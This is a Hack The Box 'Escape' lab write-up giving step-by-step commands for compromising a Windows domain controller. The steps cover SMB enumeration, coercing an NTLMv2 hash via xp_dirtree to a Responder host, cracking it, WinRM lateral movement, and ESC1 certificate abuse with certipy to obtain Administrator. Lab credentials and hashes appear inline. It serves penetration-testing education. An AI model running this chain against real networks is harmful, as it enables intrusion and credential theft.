Dev.to Security 🔐 Cybersecurity 👁 0 📖 5 min read

HTB - Escape Writeup - no Metasploit

Summary I used credentials found in an SMB share to connect to MSSQL, and captured the NetNTLMv2-SSP hash of the user running the SQL Server service using Responder. From the shell, I moved laterally using credentials

HTB - Escape Writeup - no Metasploit

Summary

I used credentials found in an SMB share to connect to MSSQL, and captured the NetNTLMv2-SSP hash of the user running the SQL Server service using Responder. From the shell, I moved laterally using credentials found in an error log file. Then, I discovered an AD CS misconfiguration where certificates were issued based on self-declared identity without proper verification, which allowed me to obtain a certificate for the Administrator account and achieve privilege escalation.

Recommendation

Assuming this were a real environment, I would recommend the following:

  • Remove confidential files from publicly accessible shares. The pdf file should have been removed.
  • Harden the AD CS configuration. The CA should not allow certificates to be issued based on self-declared identity. Additionally, certificate enrollment permissions should be restricted to only the users and groups that require them.

Reconnaissance

Let's start reconnaissance with nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.228.253


ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.228.253

53(DNS), 88(Kerberos), 389(LDAP) and 445(SMB) are open, so we can conclude that it is Windows with AD service.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.228.253

No interesting UDP is open.

Enumeration

nxc smb 10.129.228.253

Machine name is DC.
Domain is sequel.htb.

Let's add the host entry to /etc/hosts

echo "10.129.228.253 dc.sequel.htb sequel.htb" | sudo tee -a /etc/hosts

Let's try an anonymous (guest) SMB login against the target and enumerates shares, domain users, and domain groups

nxc smb 10.129.228.253 -u 'guest' -p '' --shares --users --groups

An unusual share is revealed: Public.

Let's investigate the content.

smbclient //10.129.228.253/Public -U 'sequel.htb\guest%'

PDF file is there.

Download and see its inside.

mget *

There is a credential!
PublicUser : GuestUserCantWrite1

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'PublicUser' -p 'GuestUserCantWrite1' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'PublicUser' -p 'GuestUserCantWrite1'; done

This credentail is valid for MSSQL!

We can access its MSSQL by following.

impacket-mssqlclient 'PublicUser:[email protected]'

For shell acquisition, I checked the MSSQL service for any suspicious databases or insecure configurations, but nothing was usable. After some research, I found that we can try Responder to capture the NetNTLMv2 hash of the user running the SQL service.

Activate responder in Kali.

sudo responder -I tun0 -v

Have the target SQL Server attempt a directory listing against my Kali machine.

EXEC MASTER.sys.xp_dirtree '\\10.10.17.153\test', 1, 1

target machine

kali machine

NTLMv2-SSP Hash is obtained!

Let's crack it.

echo 'sql_svc::sequel:beb8535ba44c71d4:DA07067E4F92AC598FF145B2C2CD5F44:0101000000000000805F4F229855DD016AC43DB8DD1781D00000000002000800510053005000430001001E00570049004E002D0049004C004C0058005A0037005A004E004C0037004F0004003400570049004E002D0049004C004C0058005A0037005A004E004C0037004F002E0051005300500043002E004C004F00430041004C000300140051005300500043002E004C004F00430041004C000500140051005300500043002E004C004F00430041004C0007000800805F4F229855DD01060004000200000008003000300000000000000000000000003000002262E7B6C0A20649E5A5099C96C599C056B22733BDA484706963412EACF2130C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310037002E003100350033000000000000000000' > hash.txt
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Since this task consumes a lot of resources, I ran it on macOS instead.
A credentail is revealed: sql_svc : REGGIE1234ronnie .

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'sql_svc' -p 'REGGIE1234ronnie' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'sql_svc' -p 'REGGIE1234ronnie'; done

It's valid for WINRM.

Login from WINRM.

evil-winrm -i 10.129.228.253 -u sql_svc -p REGGIE1234ronnie

I checked for any unusual services or folders and found SQLServer folder and an ERRORLOG.BAK file.

download ERRORLOG.BAK

The file contains a credential as follows.

Ryan.Cooper : NuclearMosquito3

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'Ryan.Cooper' -p 'NuclearMosquito3' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'Ryan.Cooper' -p 'NuclearMosquito3'; done

It's valid for WINRM.

User.txt is obtained as follows.

evil-winrm -i 10.129.228.253 -u Ryan.Cooper -p NuclearMosquito3


type C:\Users\Ryan.Cooper\Desktop\user.txt

Privilege Escalation

For privilege escalation, I attempted to investigate credentials and Kerberoasting, but found nothing valid. After some research, I found that AD CS (certificate services) misconfigurations could be used to get an administrator shell. After a second look, I noticed that the winPEAS output mentioned a potential vulnerability as follows.

Also, I noticed many ssl-cert entries in the nmap output. From what I've researched, having multiple certificate entries apparently indicates that the machine is running its own certificate authority (AD CS).

Let's use certipy-ad to check for vulnerability.

certipy-ad find -u '[email protected]' -p 'NuclearMosquito3' -dc-ip 10.129.228.253 -vulnerable

[...]

It indicates that it's vulnerable for ESC1 which means a low-privileged user can obtain a certificate that identifies them as the Administrator.

I referred to HackTricks for the command: https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html#misconfigured-certificate-templates---esc1

certipy-ad req -u '[email protected]' -p 'NuclearMosquito3' -dc-ip 10.129.228.253  -ca 'sequel-DC-CA'  -template 'UserAuthentication' -upn '[email protected]'


certipy-ad req -u '[email protected]' -p 'NuclearMosquito3' -dc-ip 10.129.228.253  -ca 'sequel-DC-CA'  -template 'UserAuthentication' -upn '[email protected]'


certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.129.228.253

This command didn't work due to the error of Clock shew too great.

So, I checked the difference between the target and mine, and adjusted the time using faketime.

D=$(ldapsearch -x -H ldap://10.129.228.253 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"


faketime "+28736 seconds" certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.129.228.253

NTLM Hash is obtained!

Check what service we can use.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'; done

Finally, we get root.txt through WINRM.

evil-winrm -i 10.129.228.253 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee


type  C:\Users\Administrator\Desktop\root.txt

Lesson Learned

  • Understand AD CS vulnerability and use of certipy.
📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.